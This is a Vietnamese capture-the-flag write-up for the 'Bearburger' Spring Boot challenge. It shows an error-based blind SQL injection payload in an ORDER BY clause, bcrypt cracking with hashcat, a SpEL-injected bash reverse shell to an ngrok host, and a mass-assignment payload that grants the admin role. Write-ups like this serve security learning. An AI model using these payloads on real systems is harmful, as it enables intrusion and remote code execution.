Try   HackMD

Preface

Challenge này mình ngồi làm từ đầu giải đến cuối giải nhưng đã không kịp solve, vì cay cú nên mình sẽ viết write up để lưu lại kiến thức mình học được thông qua challenge này.
Bearburger là challenge mà tác giả custom lại code project Bear Burger Spring Boot tại github. Các chức năng như make admin, remove admin đã bị xóa bỏ, mình có thể nói là 1 phiên bản tối giản và "có thể khai thác hơn" từ version trên github

Source code analysis

Author tuy đưa cả file war nhưng lại không cho file database, nên mình phải đi tìm file sql của src github để nhét vào, và lưu ý khi lấy từ trên đó về mình sẽ cần phải khai báo username là kiểu varchar(300) cho hợp lý với khai báo thuộc tính đó trong model User:

@Column(
    name = "Username"
)
    private @NotNull @Size(
    min = 4,
    max = 300
) String username;

SQL Injection in Order By Clause

Thoạt đầu mình nhìn thì cũng spot được ngay chỗ khai thác SQL Injection tại endpoint: /api/v1/fetch-foods-by-category/{category}/{sorting}


@RequestMapping({"/api/v1"})
public class FoodController {
    ...
    @GetMapping({"/fetch-foods-by-category/{category}/{sorting}"})
    List<Food> fetchFoodsByCategory(@PathVariable String category, @PathVariable String sorting) {
        return this.foodService.findByCategory(category, sorting);
    }
    ...
}

API này gọi đến method findByCategory nằm tại /service/FoodServiceImpl.class

public List<Food> findByCategory(String category, String sorting) {
    String jpqlQuery = "SELECT f FROM Food f WHERE f.category = :category ORDER BY " + sorting + " DESC";
    return this.entityManager.createQuery(jpqlQuery, Food.class).setParameter("category", category).getResultList();
}

Cộng chuỗi như thế kia thì sure kèo là dính SQL Injection rồi =))), nhưng việc inject vào HQL với DBMS đằng sau là MySQL mình thấy khá khó khăn, khi việc HQL xử lý giới hạn số bảng, nó chỉ có thể select được giá trị từ những bảng nằm trong các thực thể đã được map và khai báo, nên ta cũng không đụng được đến được infomation_schema hay gì cả, chỉ có thể dump data trong các bảng hiện tại thôi.
Lúc này mình nghĩ trong đầu là lên được admin bằng cách nào, trong khi password được mã hóa Bcrypt cơ chứ :)), chả nhẽ crack đến chết. Thật bất ngờ intended là crack password thật (mình mất phần lớn thời gian của 2 ngày để tìm cách thực hiện câu lệnh update hay insert nhưng thất bại).
Thôi không dài dòng, mình tiến hành craft payload extract data boolean based như sau:

extractvalue(null,concat('~',(select password from User u where u.username = 'admin'),'~'))

Nếu như request select thành công, sẽ trả về lỗi không thể lấy resultSet vì payload trigger lỗi error based:

image
image

Còn nếu như câu query sai, thì server sẽ không trigger error based nên sẽ hiển thị được thông tin bình thường:
image

Vậy là payload của mình work, nhưng kết quả thì không được trả ra, nên giờ mình sẽ craft để extract password bằng cách blind thôi

extractvalue(null,concat('~',(select password from User u where u.username = 'admin' and binary(substr(u.password,1,1)) = '$'),'~'))

Vì mình biết mật khẩu được hash theo kiểu Bcrypt nên đoạn ký tự đầu lúc nào cũng kiểu $2a$10, thử kí tự đầu là $ thì payload đã trả về lỗi (đúng như dự đoán):

image
Tốt rồi, đưa vào intruder thôi, Bcrypt hash ra độ dài cố định là 60.
image

Mình có được kết quả hash admin local là: $2a$10$3l0p7n2pIIykRYaPsPbvt.8y60kvynF9E7Q6e21sMi7tBRPqL8zvS, hashcat mình có được pass local là admin =)), yếu thật
Vác payload sang challenge thật, mình có hash dump được là: $2a$10$vFWElvoCouv8LuyTzOCT8eMq4KSvvbxEPpwRdXcJvDkSmVUbmooTW
Nhét hash vào file hash-2, chạy hashcat attack mode 3200 theo https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -m 3200 -a 0 hash-2 /usr/share/wordlists/rockyou.txt --force

image
Mình có mật khẩu admin tại web challenge là adidas, quá yếu =)))

SpEL Injection in fetchAllUser

Leo lên được admin, mình diff code với project có trên github thì thấy đoạn code fetchAllUser dính lỗi parseExpression tên của user, chức năng này nằm tại api /api/v1/admin vốn chỉ được truy cập khi người dùng có role ADMIN:

@RequestMapping({"/api/v1/admin"})
public class UserController {
    ...
    @GetMapping({"/fetch-all-users"})
    List<User> fetchUsersByUsers() {
        return this.userService.fetchAllUsers();
    }
    ...
}

@Transactional(
    readOnly = true
)
public List<User> fetchAllUsers() {
    List<User> result = this.userRepository.findAll();
    ExpressionParser userParser = new SpelExpressionParser();
    Iterator var3 = result.iterator();

    while(var3.hasNext()) {
        User user = (User)var3.next();

        try {
            Expression expression = userParser.parseExpression(user.getUsername());
            String var6 = (String)expression.getValue(String.class);
        } catch (Exception var7) {
        }
    }

    return result;
}

Giờ mình đã hiểu lí do tại sao lại kéo username lên 300 kí tự khi ban đầu có 15 kí tự thôi =))
Giờ mình sẽ register payload reverse shell xem sao, payload reverse shell mình tham khảo từ https://github.com/welk1n/ReverseShell-Java:

T(java.lang.Runtime).getRuntime().exec('bash -c $@|bash 0 echo bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/14482 0>&1')

Chèn payload vào username, mình bắt intercept cho tiện:

image
Gửi request và mình rev shell thành công:
image

Sau đó là khoảng thời gian mình đi tìm flag =)), tìm ở các file enciron hay hệ thống không có, mình tìm cả ở db nhưng cũng không có:
image

Mình ngố quá, không nhận ra là flag nằm ngay tại thư mục chứa file war mà cứ đi tìm =)) (mình không để ý tên file)
image

Flag: crew{BearBurger_is_on_sale!_LINZ_IS_HERE}

Another Workaround to Admin

Khi mình đi hỏi những người đã solve được challenge thì nhận được cách khác với cách intended của tác giả, đó là khai thác mass assignment vào register để tạo thêm 1 role nữa cho mình.
Đoạn code xử lý của chức năng register khá đơn giản, nó chỉ hash mật khẩu trước khi lưu vào bảng user, và lưu 1 hàng mang luôn giá trị CUSTOMER vào bảng roles:

public void registerUser(User user) {
    user.setPassword(this.passwordEncoder.encode(user.getPassword()));
    this.userRepository.save(user);
    this.roleRepository.save(new Role(user.getUserID()));
}

....
    
public Role(int userID) {
    this.userID = userID;
    this.name = "CUSTOMER";
}

Lúc này, mình sẽ có thể truyền vào 1 hàng mới user của mình bằng cách sau:

roles[0].roleID.=1&roles[0].userID=1&roles[0].name=ADMIN

image
Trong db ta có người dùng đó với userID 18:
image

Tại bảng roles thì ta có 2 hàng để chứa role của user kev1n-3 là CUSTOMER và ADMIN:
image

Số của roleID và userID truyền vào không quan trọng, mình có thể truyền gì cũng được nhưng bắt buộc cần truyền giá trị vào, vì 2 biến này sẽ được gen ra tương ứng trong bảng khi khởi tạo user và khởi tạo đối tượng Role bằng userID. Theo như mình hiểu là sau khi nó save đối tượng user thì row role ADMIN sẽ được save, sau đó role CUSTOMER được save sau đó tại câu lệnh bên dưới.